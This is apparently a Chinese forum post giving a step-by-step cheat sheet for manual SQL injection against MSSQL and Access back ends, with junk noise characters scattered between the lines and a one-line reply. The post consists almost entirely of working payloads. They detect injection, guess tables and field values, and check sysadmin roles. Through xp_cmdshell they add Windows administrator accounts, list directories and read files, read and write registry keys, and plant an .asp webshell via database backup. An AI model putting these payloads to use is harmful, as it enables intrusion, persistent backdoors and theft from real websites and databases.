手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2
! }% P; P" \7 ]7 d8 |3 T
8 x9 O7 T( l1 C$ T" y- R2.初步判断是否是mssql ;and user>0
  D4 n6 ?! x) |0 p/ y$ i# n
) L" C8 L- M# G% @1 C9 E- F3.注入参数是字符'and [查询条件] and ''='
( X0 E3 h2 [" v. N
& h4 ~2 Z" u9 W- V; L' C4.搜索时没过滤参数的'and [查询条件] and '%25'='

2 |& \* I. L( I5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
5 k' u' [: S5 A9 \& ?1 ?;and (select count(*) from msysobjects)>0 access

0 Z/ E' o6 X' G% r6.猜数据库 ;and (select Count(*) from [数据库名])>0
9 C: E" k3 m8 O- p
+ ], h  x3 T7 M- g+ i7 |  G7 ]7.猜字段 ;and (select Count(字段名) from 数据库名)>0
% d4 F" v; K/ K; F5 k
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

% w8 A; F; G! x8 q5 `: a6 D, P9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
& w+ F( P: x0 Z$ t5 ]# f
  D) P; N6 ~/ F& s- j7 J(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
. \5 p" y0 q0 D- I3 y. g
10.测试权限结构（mssql）
7 g( n6 w/ K1 i5 \) p;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
! g( z: [$ [3 ~4 |4 A' o; \;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ I" `; B5 A4 d;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
  [3 ^; @# S. n7 b4 h. O3 K;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- w5 ~$ S' B, V0 {8 o1 O;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
* h" O' }  z1 ^& H7 R3 h;and 1=(select IS_MEMBER('db_owner'));--

2 E6 p7 z9 G' y7 i$ z11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--
2 g) m' e; X, L; s0 B( M" t% t
;exec master.dbo.sp_addsrvrolemember sysadmin username;--

5 z& A5 `+ F, z4 L;exec master.dbo.xp_cmdshell 'net user username password
* E* @2 h- b$ u- n2 f/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--
5 ]3 E4 ^% x2 a+ @
4 j/ x  h8 V3 `+ O/ P8 v  _3 B. N1 @;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
" C5 r; @* ?- Z' \9 Q
6 I5 u/ R! `0 E, ~  Z6 t  Z- x2 o12.(1)遍历目录
4 x5 B4 r9 ]6 H8 k  b3 x4 g, E+ l
3 L1 ]/ {$ }8 ^2 P;create table dirs(paths varchar(100), id int)
" C: k, q; f# p- ?% X;insert dirs exec master.dbo.xp_dirtree 'c:\'
2 L& g8 F+ l& O; U- r, L;and (select top 1 paths from dirs)>0
- P+ x* S  F) x/ {$ h, ];and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
+ q" \: L% {% b6 T5 ^5 {2 t: ^
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
4 t2 T, t) X8 I, a;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
+ b; a' c( P- y! m! v;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

7 o4 b% x% Q3 |$ V+ s' n13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
1 j5 p8 t/ d0 O; E+ q;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
, s( i- @* N7 v4 G4 o- D;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

- _4 P) m1 p) V/ s5 X/ ^xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

9 u$ S6 X9 M5 r6 {( P* {xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
! g% ^1 h4 i1 S
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
1 b- F  l3 M5 ]( y& b% Q% A' y
7 t4 M' c" }1 M: `9 X14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
9 P5 @/ V. P" w; X: B4 c2 p- e4 J;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model
# _& |- a& h$ z6 s
. m1 y* }2 Q- i! k& Qcreate table cmd(str image);

' [% U, f$ i2 T& N! e* u3 h7 Uinsert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';
# X; ~. I  P5 |7 y* a! S
! s' K, q- L9 t5 ]

老男孩

现在很多防注入啊，有其他注入字符码